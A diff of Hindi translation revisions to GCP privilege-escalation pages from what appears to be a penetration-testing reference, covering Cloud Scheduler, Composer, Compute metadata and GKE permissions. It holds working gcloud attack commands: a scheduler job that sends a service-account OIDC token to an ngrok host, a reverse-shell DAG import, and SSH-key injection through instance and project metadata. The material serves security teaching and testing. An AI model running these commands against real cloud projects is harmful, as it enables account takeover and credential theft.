```
Not really sure how useful only this permission is from an attackers perspective, but good to know.
मुझे नहीं पता कि हमलावर के दृष्टिकोण से केवल यह अनुमति कितनी उपयोगी है, लेकिन जानना अच्छा है।
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
@@ -79,9 +79,9 @@ Not really sure how useful only this permission is from an attackers perspective
केवल **`cloudfunctions`** अनुमतियों के साथ, बिना **`iam.serviceAccounts.actAs`** के आप **फंक्शन को अपडेट नहीं कर पाएंगे, इसलिए यह एक मान्य प्रिवेस्क नहीं है।**
### Read & Write Access over the bucket
### बकेट पर पढ़ने और लिखने की पहुंच
यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी बकेट में **अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं** ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।
यदि आपके पास बकेट पर पढ़ने और लिखने की पहुंच है, तो आप कोड में परिवर्तनों की निगरानी कर सकते हैं और जब भी **बकेट में अपडेट होता है, आप अपने कोड के साथ नए कोड को अपडेट कर सकते हैं** ताकि क्लाउड फ़ंक्शन का नया संस्करण प्रस्तुत किए गए बैकडोर कोड के साथ चल सके।
आप हमले के बारे में अधिक जानकारी देख सकते हैं:
@@ -96,11 +96,11 @@ gcp-storage-privesc.md
> [!CAUTION]
> हालाँकि, इसका उपयोग DoS हमलों के लिए किया जा सकता है।
### Read & Write Access over Artifact Registry
### आर्टिफैक्ट रजिस्ट्री पर पढ़ने और लिखने की पहुंच
जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है** ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन **संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।**
जब एक क्लाउड फ़ंक्शन बनाया जाता है, तो एक नया डॉकर इमेज प्रोजेक्ट के आर्टिफैक्ट रजिस्ट्री में पुश किया जाता है। मैंने एक नए इमेज के साथ इमेज को संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की और कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **बकेट के साथ रेस कंडीशन हमले का दुरुपयोग करना संभव हो सकता है** ताकि डॉकर कंटेनर को बदला जा सके जो चलाया जाएगा लेकिन **संग्रहित इमेज को केवल संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है।**
## References
## संदर्भ
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -17,9 +17,9 @@ cloudidentity सेवा के बारे में अधिक जान
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
### समूह की सदस्यता में परिवर्तन करें
### समूह सदस्यता में परिवर्तन करें
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह उस समूह का OWNER बना सकता है जिसका वह सदस्य है:
यदि आपके उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हैं या समूह गलत तरीके से कॉन्फ़िगर किया गया है, तो वह एक समूह का OWNER बना सकता है, जिसका वह सदस्य है:
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>
@@ -12,7 +12,7 @@
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
इन अनुमतियों के साथ एक हमलावर **Cloud Scheduler** का उपयोग करके **एक विशिष्ट सेवा खाते के रूप में क्रॉन नौकरियों को प्रमाणित** कर सकता है। एक HTTP POST अनुरोध तैयार करके, हमलावर क्रियाएँ निर्धारित करता है, जैसे कि एक स्टोरेज बकेट बनाना, जो सेवा खाते की पहचान के तहत निष्पादित होत है। यह विधि **Scheduler की क्षमता का लाभ उठाती है जो `*.googleapis.com` अंत बिंदुओं को लक्षित करती है और अनुरोधों को प्रमाणित करती है**, जिससे हमलावर को सीधे एक सरल `gcloud` कमांड का उपयोग करके Google API अंत बिंदुओं में हेरफेर करने की अनुमति मिलती है।
इन अनुमतियों के साथ एक हमलावर **Cloud Scheduler** का उपयोग करके **एक विशिष्ट सेवा खाते के रूप में क्रॉन नौकरियों को प्रमाणित** कर सकता है। एक HTTP POST अनुरोध तैयार करके, हमलावर क्रियाएँ निर्धारित करता है, जैसे कि एक स्टोरेज बकेट बनाना, जो सेवा खाते की पहचान के तहत निष्पादित होत है। यह विधि **Scheduler की क्षमता का लाभ उठाती है `*.googleapis.com` एंडपॉइंट्स को लक्षित करने और अनुरोधों को प्रमाणित करने** के लिए, जिससे हमलावर को सीधे एक सरल `gcloud` कमांड का उपयोग करके Google API एंडपॉइंट्स में हेरफेर करने की अनुमति मिलती है।
- **OAuth टोकन हेडर के साथ `googleapis.com` के माध्यम से किसी भी गूगल API से संपर्क करें**
@@ -20,9 +20,9 @@
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
प्रिविलेज़ बढ़ाने के लिए, एक **हमलावर केवल लक्षित API के लिए एक HTTP अनुरोध तैयार करता है, निर्दिष्ट सेवा खाते का अनुकरण करते हुए**
- **OIDC सेवा खाता टोकन को निकालें**
- **OIDC सेवा खाता टोकन निकालें**
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
@@ -30,7 +30,7 @@ gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87f
```
यदि आपको HTTP प्रतिक्रिया की जांच करने की आवश्यकता है, तो आप बस **कार्यवाही के लॉग पर एक नज़र डाल सकते हैं**
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
पिछले परिदृश्य की तरह, यह संभव है **पहले से बनाए गए शेड्यूलर को अपडेट करना** ताकि टोकन चुराया जा सके या क्रियाएँ की जा सकें। उदाहरण के लिए:
```bash
@@ -38,7 +38,7 @@ gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87f
# Listen in the ngrok address to get the OIDC token in clear text.
```
एक और उदाहरण एक निजी कुंजी को एक SA पर अपलोड करने और इसे अनुकरण करने का:
एक और उदाहरण एक निजी कुंजी को SA पर अपलोड करने और इसे अनुकरण करने का:
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -12,18 +12,18 @@
### `composer.environments.create`
इस अनुमति के साथ नए बनाए गए composer वातावरण में **किसी भी सेवा खाते** को जोड़संभव है। बाद में आप composer के अंदर कोड निष्पादित कर सकते हैं ताकि सेवा खाता टोकन चुराया जा सके।
यह संभव है कि **किसी भी सेवा खाते** को नए बनाए गए composer वातावरण से उस अनुमति के साथ जोड़ा जाए। बाद में आप composer के अंदर कोड निष्पादित कर सकते हैं ताकि सेवा खाता टोकन चुराया जा सके।
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
अधिक जानकारी के लिए [**यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh) देखें
अधिक जानकारी के लिए [**यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)।
### `composer.environments.update`
पोज़र वातावरण को अपडेट करना संभव है, उदाहरण के लिए, env वेरिएबल्स को संशोधित करना:
ॉम्पोज़र वातावरण को अपडेट करना संभव है, उदाहरण के लिए, env वेरिएबल्स को संशोधित करना:
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -50,19 +50,19 @@ TODO: RCE प्राप्त करें नए pypi पैकेजों
### Dags डाउनलोड करें
चालू किए जा रहे dags क स्रोत कोड जांचें:
चालित dags क स्रोत कोड की जांच करें:
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
### Import Dags
एक फ़ाइल में पायथन DAG कोड जोड़ें और इसे चलाकर आयात करें:
एक फ़ाइल में python DAG कोड जोड़ें और इसे चलाकर आयात करें:
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
Reverse shell DAG:
रिवर्स शेल DAG:
```python:reverse_shell.py
import airflow
from airflow import DAG
@@ -15,7 +15,7 @@ GCP में Compute और VPC (नेटवर्क) के बारे म
### `compute.projects.setCommonInstanceMetadata`
उस अनुमति के साथ आप **संशोधित** कर सकते हैं **मेटाडेटा** जानकारी को एक **इंस्टेंस** का और **एक उपयोगकर्ता के अधिकृत कुंजियों** को बदल सकते हैं, या **sudo** अनुमतियों के साथ **नया उपयोगकर्ता बना सकते हैं**। इसलिए, आप किसी भी VM इंस्टेंस में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ इंस्टेंस चल रहा है।\
उस अनुमति के साथ आप **संशोधित** कर सकते हैं **मेटाडेटा** जानकारी को एक **इंस्टेंस** का और **एक उपयोगकर्ता के अधिकृत कुंजियों** को बदल सकते हैं, या **sudo** अनुमतियों के साथ **नया उपयोगकर्ता** बना सकते हैं। इसलिए, आप किसी भी VM इंस्टेंस में SSH के माध्यम से exec करने में सक्षम होंगे और उस GCP सेवा खाते को चुरा सकते हैं जिसके साथ इंस्टेंस चल रहा है।\
सीमाएँ:
- ध्यान दें कि VM इंस्टेंस में चलने वाले GCP सेवा खातों का डिफ़ॉल्ट रूप से **बहुत सीमित दायरा** होता है
@@ -59,21 +59,21 @@ gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** नहीं होंगे।
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** नहीं होंगे।
> [!TIP]
> इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर `iam.serviceAccounts.actAs` अनुमति होनी चाहिए।
### **`compute.instances.osAdminLogin`**
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** होंगे।
यदि **OSLogin इंस्टेंस में सक्षम है**, तो इस अनुमति के साथ आप बस **`gcloud compute ssh [INSTANCE]`** चला सकते हैं और इंस्टेंस से कनेक्ट कर सकते हैं। आपके पास इंस्टेंस के अंदर **रूट प्रिविलेज** होंगे।
> [!TIP]
> इस अनुमति के साथ VM इंस्टेंस के अंदर सफलतापूर्वक लॉगिन करने के लिए, आपको VM से जुड़े SA पर `iam.serviceAccounts.actAs` अनुमति होनी चाहिए।
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
यह संभव है कि **एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और टोकन चुराया जाए** जो मेटाडेटा को एक्सेस करके प्रिविलेज को बढ़ाने के लिए है।
यह संभव है कि **एक सेवा खाते के साथ एक वर्चुअल मशीन बनाई जाए और सेवा खाते का टोकन चुराया जाए** जो मेटाडेटा को एक्सेस करके प्रिविलेज को बढ़ाने के लिए है।
इस विधि के लिए एक्सप्लॉइट स्क्रिप्ट [यहां](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py) मिल सकती है।
@@ -107,27 +107,27 @@ gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
```bash
gcloud compute os-config patch-deployments create <name> ...
```
The tool [patchy](https://github.com/rek7/patchy) क इस गलत कॉन्फ़िगरेशन का लाभ उठाने के लिए अतीत में उपयोग किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।
उपकरण [patchy](https://github.com/rek7/patchy) का उपयोग अतीत में इस गलत कॉन्फ़िगरेशन का शोषण करने के लिए किया जा सकता था (लेकिन अब यह काम नहीं कर रहा है)।
**एक हमलावर इसे स्थायीता के लिए भी दुरुपयोग कर सकता है।**
**एक हमलावर इसे स्थिरता के लिए भी दुरुपयोग कर सकता है।**
### `compute.machineImages.setIamPolicy`
**अपने लिए अतिरिक्त अनुमतियाँ दें** कंप्यूट इमेज पर।
**अपने लिए अतिरिक्त अनुमतियाँ** कंप्यूट इमेज पर दें
### `compute.snapshots.setIamPolicy`
**अपने लिए अतिरिक्त अनुमतियाँ दें** एक डिस्क स्नैपशॉट पर।
**अपने लिए अतिरिक्त अनुमतियाँ** एक डिस्क स्नैपशॉट पर दें
### `compute.disks.setIamPolicy`
**अपने लिए अतिरिक्त अनुमतियाँ दें** एक डिस्क पर।
**अपने लिए अतिरिक्त अनुमतियाँ** एक डिस्क पर दें
### एक्सेस स्कोप को बायपास करें
इस लिंक का पालन करते हुए आप कुछ [**विचार पाएंगे एक्सेस स्कोप को बायपास करने के लिए**](../)
इस लिंक का पालन करते हुए आप कुछ [**विचार पाएंगे जो एक्सेस स्कोप को बायपास करने के लिए आजमाए जा सकते हैं**](../)
### GCP Compute इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि
### GCP कंप्यूट इंस्टेंस में स्थानीय विशेषाधिकार वृद्धि
{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
@@ -1,18 +1,18 @@
# GCP - Add Custom SSH Metadata
# GCP - कस्टम SSH मेटाडेटा जोड़ें
## GCP - Add Custom SSH Metadata
## GCP - कस्टम SSH मेटाडेटा जोड़ें
{{#include ../../../../banners/hacktricks-training.md}}
### Metadata को संशोधित करना <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
### मेटाडेटा को संशोधित करना <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
एक उदाहरण पर मेटाडेटा का संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
एक उदाहरण पर मेटाडेटा संशोधन **महत्वपूर्ण सुरक्षा जोखिमों** का कारण बन सकता है यदि एक हमलावर आवश्यक अनुमतियाँ प्राप्त कर लेता है।
#### **कस्टम मेटाडेटा में SSH कुंजियों का समावेश**
GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट चलाते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** उदाहरण मेटाडेटा एंडपॉइंट की **अधिकत SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है।
GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) से स्क्रिप्ट निष्पादित करते हैं। इसका एक महत्वपूर्ण घटक [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) है, जिसे **नियमित रूप से** उदाहरण मेटाडेटा एंडपॉइंट की **अधिकार प्राप्त SSH सार्वजनिक कुंजियों** के लिए **अपडेट** की जांच करने के लिए डिज़ाइन किया गया है।
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और **स्थानीय सिस्टम में एकीकृत किया जाएगा**। कुंजी को एक **मौजूदा उपयोगकर्ता के `~/.ssh/authorized_keys` फ़ाइल** में जोड़ा जाएगा या कुंजी के प्रारूप के आधार पर `sudo` अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
इसलिए, यदि एक हमलावर कस्टम मेटाडेटा को संशोधित कर सकता है, तो वह डेमन को एक नई सार्वजनिक कुंजी खोजने के लिए मजबूर कर सकता है, जिसे संसाधित किया जाएगा और **स्थानीय सिस्टम में एकीकृत किया जाएगा**। कुंजी को एक **मौजूदा उपयोगकर्ता के `~/.ssh/authorized_keys` फ़ाइल** में जोड़ा जाएगा या `sudo` अनुमतियों के साथ एक नए उपयोगकर्ता को संभावित रूप से बनाया जाएगा, कुंजी के प्रारूप के आधार पर। और हमलावर होस्ट को समझौता करने में सक्षम होगा।
#### **मौजूदा विशेषाधिकार प्राप्त उपयोगकर्ता के लिए SSH कुंजी जोड़ें**
@@ -24,10 +24,10 @@ GCP पर, **Linux सिस्टम** अक्सर [Python Linux Guest Env
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग किया जाता है।
- SSH कुंजियों के प्रारूप पर ध्यान दें: उपयोगकर्ता नाम कुंजी से पहले आता है, जो एक कोलन द्वारा अलग होता है।
2. **SSH कुंजी मेटाडेटा के लिए एक टेक्स्ट फ़ाइल तैयार करें:**
- उपयोगकर्ता नाम और उनक संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
- उपयोगकर्ता नाम और उनक संबंधित SSH कुंजियों के विवरण को `meta.txt` नामक टेक्स्ट फ़ाइल में सहेजें। यह नए कुंजियों को जोड़ते समय मौजूदा कुंजियों को बनाए रखने के लिए आवश्यक है।
3. **लक्षित उपयोगकर्ता के लिए एक नई SSH कुंजी उत्पन्न करें (`alice` इस उदाहरण में):**
- `ssh-keygen` कमांड का उपयोग करके एक नई SSH कुंजी उत्पन्न करें, यह सुनिश्चित करते हुए कि टिप्पणी फ़ील्ड (`-C`) लक्षित उपयोगकर्ता नाम से मेल खाता है।
@@ -77,19 +77,19 @@ ssh -i ./key "$NEWUSER"@localhost
```
#### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
यह संभव है कि SSH पहुँच को एक क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक बढ़ाया जाए **प्रोजेक्ट स्तर पर SSH कुंजी लागू करके**। यह दृष्टिकोण प्रोजेक्ट के भीतर किसी भी उदाहरण तक SSH पहुच की अनुमति देता है जिसने स्पष्ट रूप से प्रोजेक्ट-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
क्लाउड वातावरण में कई वर्चुअल मशीनों (VMs) तक SSH पहुंच को बढ़ाने के लिए **परियोजना स्तर पर SSH कुंजी लागू करना** संभव है। यह दृष्टिकोण परियोजना के भीतर किसी भी उदाहरण तक SSH पहुच की अनुमति देता है जिसने स्पष्ट रूप से परियोजना-व्यापी SSH कुंजी को अवरुद्ध नहीं किया है। यहाँ एक संक्षिप्त मार्गदर्शिका है:
1. **प्रोजेक्ट स्तर पर SSH कुंजी लागू करें:**
1. **परियोजना स्तर पर SSH कुंजी लागू करें:**
- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को प्रोजेक्ट मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी प्रोजेक्ट में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
- `gcloud compute project-info add-metadata` कमांड का उपयोग करके `meta.txt` से SSH कुंजी को परियोजना मेटाडेटा में जोड़ें। यह क्रिया सुनिश्चित करती है कि SSH कुंजी परियोजना में सभी VMs के बीच मान्यता प्राप्त हैं, जब तक कि किसी VM में "ब्लॉक प्रोजेक्ट-व्यापी SSH कुंजी" विकल्प सक्षम नहीं है।
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **प्रोजेक्ट-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:**
-्रोजेक्ट-व्यापी SSH कुंजी के साथ, आप प्रोजेक्ट के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण प्रोजेक्ट-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुच प्राप्त होगी।
- किसी उदाहरण में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और प्रोजेक्ट स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुच प्राप्त करने का प्रयास करता है।
2. **परियोजना-व्यापी कुंजी का उपयोग करके उदाहरणों में SSH करें:**
-रियोजना-व्यापी SSH कुंजी के साथ, आप परियोजना के भीतर किसी भी उदाहरण में SSH कर सकते हैं। जो उदाहरण परियोजना-व्यापी कुंजी को अवरुद्ध नहीं करते हैं, वे SSH कुंजी को स्वीकार करेंगे, जिससे पहुच प्राप्त होगी।
- किसी उदाहरण में SSH करने का एक सीधा तरीका `gcloud compute ssh [INSTANCE]` कमांड का उपयोग करना है। यह कमांड आपके वर्तमान उपयोगकर्ता नाम और परियोजना स्तर पर सेट की गई SSH कुंजी का उपयोग करके पहुच प्राप्त करने का प्रयास करता है।
## References
@@ -13,9 +13,9 @@ gcloud container clusters get-credentials <cluster_name> --zone <zone>
बिना अतिरिक्त अनुमतियों के, क्रेडेंशियल्स काफी बुनियादी होते हैं क्योंकि आप **कुछ संसाधनों की सूची बना सकते हैं**, लेकिन ये वातावरण में गलत कॉन्फ़िगरेशन खोजने के लिए उपयोगी होते हैं।
> [!NOTE]
> ध्यान दें कि **कुबरनेट्स क्लस्टर को निजी रूप से कॉन्फ़िगर किया जा सकता है**, जो इंटरनेट से Kube-API सर्वर तक पहुंच को अस्वीकार करेगा।
> ध्यान दें कि **कुबरनेट्स क्लस्टर को निजी रूप से कॉन्फ़िगर किया जा सकता है**, जो इंटरनेट से Kube-API सर्वर तक पहुंच को अस्वीकार करेगा।
यदि आपके पास यह अनुमति नहीं है, तो आप अभी भी क्लस्टर तक पहुंच सकते हैं, लेकिन आपको **क्लस्टर की जानकारी के साथ अपना खुद kubectl कॉन्फ़िग फ़ाइल बनाना होगा**। एक नया उत्पन्न किया गया ऐसा दिखता है:
यदि आपके पास यह अनुमति नहीं है, तो आप अभी भी क्लस्टर तक पहुंच सकते हैं, लेकिन आपको **अपने स्वयं kubectl कॉन्फ़िग फ़ाइल** को क्लस्टर की जानकारी के साथ बनाना होगा। एक नया उत्पन्न किया गया ऐसा दिखता है:
```yaml
apiVersion: v1
clusters:
@@ -46,42 +46,42 @@ name: gcp
```
### `container.roles.escalate` | `container.clusterRoles.escalate`
**Kubernetes** डिफ़ॉल्ट रूप से **रोकता** है कि प्रिंसिपल **निर्माण** या **अपडेट** **Roles** और **ClusterRoles** को **अधिक अनुमतियों** के साथ कर सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, वह **अधिक अनुमतियों** के साथ Roles/ClusterRoles को **निर्माण/अपडेट** करने में **सक्षम** होगा, प्रभावी रूप से इस व्यवहार के खिलाफ Kubernetes की सुरक्षा को बायपास करते हुए
**Kubernetes** डिफ़ॉल्ट रूप से **प्रिंसिपल्स** को **रोल्स** और **क्लस्टररोल्स** को **बनाने** या **अपडेट** करने से रोकता है जिनमें **ज्यादा अनुमतियाँ** होती हैं जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, **ज्यादा अनुमतियों** के साथ रोल्स/क्लस्टररोल्स को **बनाने/अपडेट** करने में **सक्षम** होगा, इस प्रकार Kubernetes की इस व्यवहार के खिलाफ सुरक्षा को बायपास करेगा
**`container.roles.create`** और/या **`container.roles.update`** या **`container.clusterRoles.create`** और/या **`container.clusterRoles.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए **भी** **आवश्यक** हैं।
### `container.roles.bind` | `container.clusterRoles.bind`
**Kubernetes** डिफ़ॉल्ट रूप से **रोकता** है कि प्रिंसिपल **निर्माण** या **अपडेट** **RoleBindings** और **ClusterRoleBindings** को **अधिक अनुमतियों** के साथ कर सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, वह **अधिक अनुमतियों** के साथ RolesBindings/ClusterRolesBindings को **निर्माण/अपडेट** करने में **सक्षम** होगा, प्रभावी रूप से इस व्यवहार के खिलाफ Kubernetes की सुरक्षा को बायपास करते हुए
**Kubernetes** डिफ़ॉल्ट रूप से **प्रिंसिपल्स** को **रोलबाइंडिंग्स** और **क्लस्टररोलबाइंडिंग्स** को **बनाने** या **अपडेट** करने से रोकता है ताकि **ज्यादा अनुमतियाँ** दी जा सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, **ज्यादा अनुमतियों** के साथ रोलबाइंडिंग्स/क्लस्टररोलबाइंडिंग्स को **बनाने/अपडेट** करने में **सक्षम** होगा, इस प्रकार Kubernetes की इस व्यवहार के खिलाफ सुरक्षा को बायपास करेगा
**`container.roleBindings.create`** और/या **`container.roleBindings.update`** या **`container.clusterRoleBindings.create`** और/या **`container.clusterRoleBindings.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए भी **आवश्यक** हैं।
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
इन सभी अनुमतियों से आपको **एक संसाधन बनाने या अपडेट करने** की अनुमति मिलेगी जहाँ आप **एक प** को **परिभाषित** कर सकते हैं। एक पड को परिभाषित करते समय आप **SA** को **निर्धारित** कर सकते हैं जो **संलग्न** किया जाएगा और **छवि** जो **चलाय** जाएगी, इसलिए आप एक छवि चला सकते हैं जो **SA के टोकन को आपके सर्वर पर एक्सफिल्ट्रेट** करेगी जिससे आप किसी भी सेवा खाते में वृद्धि कर सकं।\
इन सभी अनुमतियों से आपको **एक संसाधन बनाने या अपडेट करने** की अनुमति मिलेगी जहाँ आप **एक प** को **परिभाषित** कर सकते हैं। एक पड को परिभाषित करते समय आप **SA** को **निर्धारित** कर सकते हैं जो **संलग्न** होने वाला है और **इमेज** जो **चलने वाल** है, इसलिए आप एक इमेज चला सकते हैं जो **SA के टोकन को आपके सर्वर पर एक्सफिल्ट्रेट** करेगी जिससे आप किसी भी सेवा खाते में वृद्धि कर सकते हैं।\
अधिक जानकारी के लिए देखें:
चूंकि हम एक GCP वातावरण में हैं, आप **मेटाडेटा** सेवा से **नोडपूल GCP SA** को भी **प्राप्त** कर सकेंगे और **GCP में विशेषाधिकार बढ़ा सकेंगे** (डिफ़ॉल्ट रूप से कंप्यूट SA का उपयोग किया जाता है)।
चूंकि हम एक GCP वातावरण में हैं, आप **मेटाडेटा** सेवा से **नोडपूल GCP SA** को भी **प्राप्त** कर सकते हैं और **GCP में विशेषाधिकार बढ़ा सकते हैं** (डिफ़ॉल्ट रूप से कंप्यूट SA का उपयोग किया जाता है)।
### `container.secrets.get` | `container.secrets.list`
जैसा कि [**इस पृष्ठ में समझाया गया है**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)इन अनुमतियों के साथ आप **कुबेरनेट्स के सभी SA के टोकन** को **पढ़** सकते हैं, इसलिए आप उनके लिए विशेषाधिकार बढ़ा सकते हैं।
